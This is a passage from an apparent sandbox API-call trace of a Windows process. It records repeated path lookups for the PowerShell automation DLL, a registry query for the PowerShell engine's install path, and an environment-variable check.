lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.982] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d9d8 | out: phkResult=0x22d9d8*=0x338) returned 0x0 [0055.982] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d95c, lpData=0x0, lpcbData=0x22d958*=0x0 | out: lpType=0x22d95c*=0x1, lpData=0x0, lpcbData=0x22d958*=0x56) returned 0x0 [0055.982] CoTaskMemAlloc (cb=0x5a) returned 0x1b7863c0 [0055.982] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d92c, lpData=0x1b7863c0, lpcbData=0x22d928*=0x56 | out: lpType=0x22d92c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d928*=0x56) returned 0x0 [0055.983] CoTaskMemFree (pv=0x1b7863c0) [0055.983] RegCloseKey (hKey=0x338) returned 0x0 [0055.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.985] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0055.985] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.985] CoTaskMemFree (pv=0x168700) [0055.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0055.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.003] 